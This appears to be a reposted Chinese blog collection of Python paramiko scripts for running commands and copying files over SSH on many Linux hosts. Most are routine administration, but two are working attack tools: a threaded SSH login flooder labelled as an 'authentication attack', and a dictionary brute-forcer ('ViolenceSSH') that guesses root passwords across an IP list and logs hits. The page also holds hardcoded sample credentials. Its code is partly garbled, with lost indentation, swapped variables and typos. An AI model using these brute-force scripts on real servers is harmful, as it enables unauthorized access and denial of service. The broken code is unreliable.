python 批量远程机器,执行Linux命令

 
#!/usr/bin/python
# coding=utf-8

import paramiko
import re
 
  
 
class ssh_test():
    def __init__(self,host,passwd,username):
        self.pwd = passwd
        self.name = username
        self.host = host
        self.ssh=paramiko.SSHClient()
        self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())   #加上这句话不用担心选yes的问题,会自动选上(用ssh连接远程主机时,第一次连接时会提示是否继续进行远程连接,选择yes)
        self.ssh.connect(self.host,22,self.name,self.pwd) #连接远程主机,SSH端口号为22
        
        
    def ssh_comond(self,commonds):
        stdin, stdout, stderr = self.ssh.exec_command(commonds)
        return   stdout.readlines() 
        
        
    def get_proc(self):
        proc_list = []
        
        commonds = "ps -ef |  grep -v  grep  | grep tang | awk '{print $8}'"
        get_proc = self.ssh_comond(commonds)
        for item in get_proc:
#             item_str = item.encode('unicode-escape').decode('string_escape')  #unicode 转Str
            No = len(item.strip('
').split('/'))
            proc_name =  item.strip('
').split('/')[No-1]
            proc_list.append(proc_name)
        print proc_list
        
        
    def get_ip(self): 
        ip_list=[]
        commonds = "ifconfig"
        get_ip = self.ssh_comond(commonds)
        for item in get_ip:
            if (re.findall(r'inet addr',item,re.I) and re.findall(r'Bcast',item,re.I)) :
                item_str = item.encode('unicode-escape').decode('string_escape')
                ip_list.append(item_str.split('Bcast')[0].split(':')[1])
                
        print "
获取到的IP地址为:
",ip_list
                
 
#            
    def get_dpkg(self):
        dpkg= {}
        dpkg_list = []
        commonds = "dpkg -l | grep TANG | awk '{print $2, $3}'"
        get_dpkg = self.ssh_comond(commonds)
        print "

 This is DPKG_NAME DPKG: 
 
 "
        for item in get_dpkg:
            item_str = item.encode('unicode-escape').decode('string_escape')
            dpkg[item_str.split()[0]] = item_str.split()[1]
#         print dpkg
        for key in dpkg:
            dpkg_list.append(key)
        print dpkg_list
#         print dpkg
 
        
    def get_hostname(self):
        commonds = 'hostname'
        get_hostname = self.ssh_comond(commonds)[0]
        return  get_hostname.strip('
')
    
    
    def get_sys_version(self):
        commonds = 'lsb_release -a'
        get_sys_version = self.ssh_comond(commonds)
#         print get_sys_version
        print "

 This is sys_info:
 
"
        for item in get_sys_version:
            print item.strip('
')
    
        
        
    def get_crontab(self):
        commonds = 'cat /etc/crontab'
        get_crontab = self.ssh_comond(commonds)
        print "

crontab list is : 

"
        for item in get_crontab:
            item_str = item.encode('unicode-escape').decode('string_escape')
            if ((item_str[0].isdigit()) or (item_str[0] == '*')):
                print item_str.strip('
')
    def get_mount(self):
        commonds = 'mount'
        get_mount = self.ssh_comond(commonds)
        print "

 This is Mount list  : 

"
        for item in get_mount:
            item_str = item.encode('unicode-escape').decode('string_escape')
            if ((item_str[0].isdigit()) or (item_str[0] == '*')):
                print item_str.strip('
')
                
    def get_ha(self):
        commonds = 'ps -ef |grep heartbeat'
        get_ha = self.ssh_comond(commonds)
        print "
 
 This is HeartBeat_Proc : 

"
        for item in get_ha:
            item_str = item.encode('unicode-escape').decode('string_escape')
 
            print item_str.split('?')[1][16:].strip('
')
    def get_ef(self):
        commonds = 'ps -ef   '
        get_ha = self.ssh_comond(commonds)
        print "

 All_proc is : 

"
        for item in get_ha:
            if ((re.findall(r'[',item,re.I)) or (re.findall(r'heartbeat',item,re.I) )):
                continue
            elif re.findall(r'?',item,re.I):
#                 print item
                item_str = item.encode('unicode-escape').decode('string_escape')
                if len(item_str.split('?')[1][16:].strip('
')) > 30:
                    print item_str.split('?')[1][16:].strip('
')
         
         
    def Get_All_Ef(self):
        All_EF=[]
        
        commonds = 'ps -A   '
        Get_All_Ef = self.ssh_comond(commonds)
        print "

 All_proc is : 

"
        for item in Get_All_Ef:
#             print item
            item_str = item.encode('unicode-escape').decode('string_escape')
#             print item_str.split(' ')
            Proc_Name= item_str.split(' ')[-1].strip('
')
#             print Proc_Name
            if ((Proc_Name == 'CMD') or (re.findall(r'<',Proc_Name,re.I)) or (Proc_Name == 'init') or (Proc_Name == 'ps') or (Proc_Name == 'top') or (Proc_Name == 'bash') or (Proc_Name == 'ssh') ):
                continue
            else:
                if re.findall(r'/',Proc_Name,re.I):
#                    print  Proc_Name.split('/')[0]
                   All_EF.append(Proc_Name.split('/')[0])
                else:
                    All_EF.append(Proc_Name)
        
                       
                
        print {}.fromkeys(All_EF).keys()  #list去重
 
    def closed (self):
        self.ssh.close()       
                
                
                
 
            
 
    
                    
if __name__ == '__main__':
 
    ip_tmp = '192.168.1.'
    Mr_hosts =['1','2','3','4','5','6']
    passwd = 'username'
    username = 'password'
    for host in Mr_hsot:
        host = ip_tmp +host
        ssh = ssh_test(host,passwd,username)
        print '
',host,ssh.get_hostname()
        ssh.get_ip()
        ssh.get_dpkg()
        ssh.Get_All_Ef()
#         ssh.get_ef()
        ssh.get_sys_version()
        ssh.get_crontab()
        ssh.get_mount()
        ssh.get_ha()
        ssh.closed()
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import paramiko


def run(host_ip, username, password, command):
    ssh = paramiko.SSHClient()
    try:
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect(host_ip, 22, username, password)
        print('===================exec on [%s]=====================' % host_ip)
        print(ssh.exec_command(command, timeout=300)[1].read())
    except Exception as ex:
        print('error, host is [%s], msg is [%s]' % (host_ip, ex.message))
    finally:
        ssh.close()


if __name__ == '__main__':
# 将需要批量执行命令的host ip地址填到这里 # eg: host_ip_list = ['192.168.1.2', '192.168.1.3']

host_ip_list = ['ip1', 'ip2'] for _host_ip in host_ip_list: # 用户名,密码,执行的命令填到这里 # eg: run(_host_ip, 'root', 'root123', 'yum install -y redis') run(_host_ip, 'your_username', 'your_password', 'your command')
# -*- coding: utf-8 -*-
import paramiko
import threading
import time
lt = []
def ssh(a,xh,sp):
 count = 0
 for i in range(0,xh):
  try:
   ssh = paramiko.SSHClient()
   ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
   ssh.connect('ip地址',22,'用户名', '密码')
   ssh.close()
   print u"线程[%s]第[%s]次登录"%(a,i)
   if sp != 0:
    time.sleep(sp)
   count += 1
  except:
   print u"线程异常,已处理"
 lt.append(count)
  
if __name__ == "__main__":
 figlet = '''
   _____ _____ _ 
  | ___| | _  | | 
  | |__ | |_| | | | 
  | __| | _ { | | 
  | |  | |_| | | | 
  |_|  |_____/ |_| 
    Code by FBI.
   '''
 print figlet
 print u"认证攻击次数=线程数*每个线程认证攻击次数"
 print u"请输入线程数:"
 xc = raw_input()
 print u"请输入每个线程攻击次数:"
 xh = raw_input()
 print u"请输入每个线程延迟时间(秒),0为不休眠:"
 sp = raw_input()
 try:
  print u"预计总共发送认证攻击%s次"%(int(xc)*int(xh))
  threads = []
  for j in range(int(xc)):
   threads.append(threading.Thread(target=ssh,args=(j,int(xh),int(sp),)))
  for t in threads:
   t.start()
   print t.name
 
  t.join()
 
  print lt
  count = 0
  for count in lt:
   count += count
  print u"程序执行完毕总共发送认证攻击【%s】次" % count
 except ValueError,e:
  print u"因为输入不规范导致程序出现错误,请输入数字"
#!/usr/bin/python python
# -*- coding: utf-8 -*-
import paramiko,threading,sys,time,os

class SSHThread(threading.Thread):
    def __init__(self, ip, port, timeout, dic, LogFile):
        threading.Thread.__init__(self)
        self.ip = ip
        self.port = port
        self.dict = dic
        self.timeout = timeout
        self.LogFile = LogFile
    def run(self):
        print("Start try ssh => %s" % self.ip)
        username = "root"
        try:
            password = open(self.dict).read().split('
')
        except:
            print("Open dict file `%s` error" % self.dict)
            exit(1)
        for pwd in password:
            try:
                ssh = paramiko.SSHClient()
                ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                ssh.connect(self.ip, self.port, username, pwd, timeout = self.timeout)
                print("
IP => %s, Login %s => %s 
" % (self.ip, username, pwd))
                open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s 
" % (time.asctime( time.localtime(time.time()) ), self.ip, self.port, username, pwd))
                break
            except:
                print("IP => %s, Error %s => %s" % (self.ip, username, pwd))
                pass
def ViolenceSSH(ip, port, timeout, dic, LogFile):
    ssh_scan = SSHThread(ip, port, timeout, dic, LogFile)
    ssh_scan.start()

def main(ipFile, dic, log):
    if ipFile == "-h":
        help()
    try:
        ipText = open(ipFile).read().split('
')
        for ip in ipText:
            if ip != '':
                time.sleep(0.5)
                threading.Thread(target = ViolenceSSH, args = (ip, 22, 1, dic, log, )).start()
    except:
        print("Open IP list file `%s` error" % ipFile)
        exit(1)
def help():
    print("python ssh.scan.py 使用说明:

        python ssh.scan.py ip_file_path dict_file_path ssh_log_path 
")
    exit(1)

if __name__ == '__main__':

    fpath = os.path.dirname(os.path.abspath('__file__'))
    ipFile = sys.argv[1] if len(sys.argv) > 1 else fpath+"/dict/ip" 
    dic = sys.argv[2] if len(sys.argv) > 2 else fpath+"/dict/password"
    log = sys.argv[3] if len(sys.argv) > 3 else fpath+"/log/sshd"
    try:
        os.system("clear")
        main(ipFile, dic, log)
    except KeyboardInterrupt:
        exit(1)
#!/usr/bin/env python
#coding=utf-8
import paramiko
import time,datetime,threading




def ssh(ip,user,passwd,command):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(ip,port=16333,username=user,password=passwd)
    except paramiko.AuthenticationException:
        #print "验证失败,用户名或密码错误."
        return 0
    except:
        #print 'ip',"主机不可达。"
        return 2
    stdin, stdout, stderr = ssh.exec_command(command)
    lines = [line.strip() for line in stdout.readlines()]
    data_include_firstline = "".join(lines)
    data_no_firstline = "".join(lines[1:])
    return data_include_firstline




def sshcmd(src,linerange): 
    i = 0
    for line in open(src):
        i += 1
        if i in range(linerange[0],linerange[1]+1): 
            ip = line.strip()
            user = 'root'
            port = 16333
            passwd = '123qwe'
            command = 'hostname'
            result = ssh(ip,user,passwd,command)
            if result == 0:
                result = '验证失败,用户名或密码错误.'
            elif result == 2:
                result = '主机不可达.'
            print i,ip,result
def main(num,src):
    global count, mutex
    linesum = sum(1 for line in open(src))
    quotient = linesum/num
    threads = []
    # 创建一个锁
    mutex = threading.Lock()
    # 先创建线程对象
    for k in xrange(1, num+1):
        if k == num:
            linerange = quotient*(k-1)+1,linesum
        else:
            linerange = quotient*(k-1)+1,quotient*k
        threads.append(threading.Thread(target=sshcmd, args=(src,linerange)))
    # 启动所有线程
    for t in threads:
        t.start()
    # 主线程中等待所有子线程退出
    for t in threads:
        t.join()  


starttime = datetime.datetime.now() 
if __name__ == '__main__':
    # 创建10个线程
    main(10,'ip.txt')
endtime = datetime.datetime.now()
print "time span",endtime-starttime
#!/usr/bin/python
#coding:utf-8
import paramiko
import sys
import datetime
import threading
import Queue
import getopt
​
def usage():
​
 print """
​
 -h,-H,--help 帮助页面 
 -C, --cmd 执行命令模式 
 -M, --command 执行具体命令 
 -S, --sendfile 传输文件模式 
 -L, --localpath 本地文件路径 
 -R, --remotepath 远程服务器路径 
​
 IP列表格式:
​
 IP地址 用户名 密码 端口
 192.168.1.1 root 123456 22
​
 e.g.
 批量执行命令格式: -C "IP列表" -M '执行的命令'
 批量传送文件: -S "IP列表" -L "本地文件路径" -R "远程文件路径"
 错误日志文件:$PWD/ssh_errors.log
​
"""def ssh(queue_get,cmd):
 try:
 hostip=queue_get[0]
 username=queue_get[1]
 password=queue_get[2]
 port=queue_get[3]
 s=paramiko.SSHClient()
 s.load_system_host_keys()
 s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
 s.connect(hostname=hostip,port=port,username=username, password=password)
 stdin,stdout,stderr=s.exec_command(cmd)
 print "33[42m---------------------------------%s---------------------------33[0m 
 %s" %(hostip,stdout.read())
 s.close()
 except Exception,ex:
 print "33[42m---------------------------------%s---------------------------33[0m
 %s : 	%s" %(hostip,hostip,ex)
 #print "
",hostip,":	",ex,"
"
 ssh_errors=open("ssh_errors.log","a")
 ssh_errors.write("%s	%s:	%s
"%(now,hostip,ex))
 ssh_errors.close()
 pass
def sftp(queue_get,localpath,remotepath):
 try:
 hostip=queue_get[0]
 username=queue_get[1]
 password=queue_get[2]
 port=int(queue_get[3])
 t=paramiko.Transport((hostip,port))
 t.connect(username=username,password=password)
 sftp=paramiko.SFTPClient.from_transport(t)
 sftp.put(localpath,remotepath)
 print "Upload file %s to %s : %s: %s" %(localpath,hostip,remotepath,now)
 sftp.close()
 t.close()
 except Exception,ex:
 print "
",hostip,":	",ex,"
"
 ssh_errors=open("ssh_errors.log","a")
 ssh_errors.write("%s	%s:	%s
"%(now,hostip,ex))
 ssh_errors.close()
 passif __name__ == '__main__':
 try:
 opts,args= opts, args = getopt.getopt(sys.argv[1:], "(hH)C:M:S:L:R:", ["help","cmd=","command=","sendfile=","localpath=","remotepath="])
 now=datetime.datetime.now()
 if len(sys.argv) == 1 :
 usage() 
 sys.exit()
 if sys.argv[1] in ("-h","-H","--help"):
 usage()
 sys.exit()
 elif sys.argv[1] in ("-C","--cmd"):
 for opt,arg in opts:
 if opt in ("-C","--cmd"):
 iplist=arg
 if opt in ("-M","--command="):
 cmd=arg
 
 file=open(iplist)
 threads = []
 myqueue = Queue.Queue(maxsize = 0)
 for l in file.readlines():
 if len(l)==1 or l.startswith('#'):
 continue
 f=l.split()
 myqueue.put(f)
 file.close()
 for x in xrange(0,myqueue.qsize()):
 if myqueue.empty():
 break
 mutex = threading.Lock()
 mutex.acquire()
 mutex.release()
 threads.append(threading.Thread(target=ssh, args=(myqueue.get(),cmd)))
 for t in threads:
 t.start()
 t.join()
 elif sys.argv[1] in ("-S","--sendfile"):
 for opt,arg in opts:
 if opt in ("-S","--sendfile"):
 iplist=arg
 if opt in ("-L","--localpath="):
 localpath=arg
 if opt in ("-R","--remotepath="):
 remotepath=arg
​
 file=open(iplist)
 threads = []
 myqueue = Queue.Queue(maxsize = 0)
 for l in file.readlines():
 if len(l)==1 or l.startswith('#'):
 continue
 f=l.split()
 myqueue.put(f)
 file.close()
 for x in xrange(0,myqueue.qsize()):
 if myqueue.empty():
 break
 mutex = threading.Lock()
 mutex.acquire()
 mutex.release()
 threads.append(threading.Thread(target=sftp, args=(myqueue.get(),localpath,remotepath)))
 for t in threads:
 t.start()
 t.join()
 
 else:
 print "33[31m非法参数,请重新输入!33[0m"
 #usage()
 except Exception,ex:
 usage()
 print ex
#_*_coding:utf-8_*_
import  multiprocessing
import paramiko
import getpass
import ConfigParser
class MultiTask(object):
    '''handles all the multi task works'''
    def __init__(self):
        msg = self._interactive()
        self.__run_cmd(msg)
    def __show_cmd_list(self,msg):
        '''show all available cmd list'''
        help_content = '''
        run_cmd     run cmd on multiple hosts
                    run_cmd -u remote_user -g group1,group2 -cmd pwd
                    run_cmd -u remote_user -re regular expression -cmd pwd
        '''
    
    def _interactive(self):
        msg = []
        nodes = []
        #parse setting.conf
        Config = ConfigParser.ConfigParser()
        Config.read("./setting.conf")
        groups = Config.sections()
        print groups
        # Input group name
        while True:
            try:
                group = raw_input("33[33;1mPlease Input Group Name:33[0m").strip()
                if len(group) == 0 : continue
                elif group not in groups:
                    print "Wrong group name ! Please input again!"
                    continue
                else :
 

                  print "You have choose group %s , the children in this group are :" % group
                    break
            
            except (KeyboardInterrupt):
                print '
'
                exit(1)
        
        items = dict(Config.items(group))
        for node in items.values():
            nodes.append(node)
            print node
        
        # Input command
        while True:
            try:
                cmd = raw_input("33[33;1mPlease Input Command:33[0m").strip()
                if len(cmd) == 0 : continue
                else: break
            except (KeyboardInterrupt):
                print '
'
                exit(1)
        print "Command you input is %s" % cmd
 

      # Input username and password
        while True:
            try:
                username = raw_input("33[33;1mPlease Input username:33[0m").strip()
                if len(username) == 0 : continue
                else: break
            except (KeyboardInterrupt):
                print '
'
                exit(1)
        password = getpass.getpass()        
        msg = [nodes,username,password,cmd]
        print msg
        return msg
    def __run_cmd(self,msg):
        pool = multiprocessing.Pool(5)
        lock = multiprocessing.Manager().Lock()
        res_list = []
        #msg = [['10.9.214.10','haohzhang','871102_Hadoop'],['10.9.214.105','haohzhang','871102_Hadoop'],['10.9.214.106','haohzhang','871102_Hadoop']]
        for host in msg[0]:
            p = pool.apply_async(run_task, args=(host,msg[1:],lock))
            res_list.append(p)
        pool.close()
        pool.join()
        print '--------All task are finished!-------'
def run_task(host,msg,lock):
    
    ip = host
    username = msg[0]
    password = msg[1]
    cmd = msg[2]
    print "ip %s, username %s, passwd %s, cmd %s" % (ip, username, password, cmd)
    port = 22
    s = paramiko.SSHClient()    #绑定实例
    s.load_system_host_keys()   #加载本机know host主机文件
    s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        s.connect(ip,port,username,password,timeout=5)   #连接远程主机
        stdin,stdout,stderr = s.exec_command(cmd)   #执行命令
        cmd_result = stdout.read(),stderr.read()    #读取命令结果
        lock.acquire()
        print '----------- HOST:%s  IP:%s -------------' %(username,ip)
        for line in cmd_result:
            print line,
        lock.release()
        s.close()
    except Exception,e:
        print '----------- HOST:%s  IP:%s -------------' %(username,ip)
        print '33[31;1mError:%s33[0m' % e


from multi_task import MultiTask, run_task
tasks = MultiTask()
原文地址:https://www.cnblogs.com/chengxuyonghu/p/13637674.html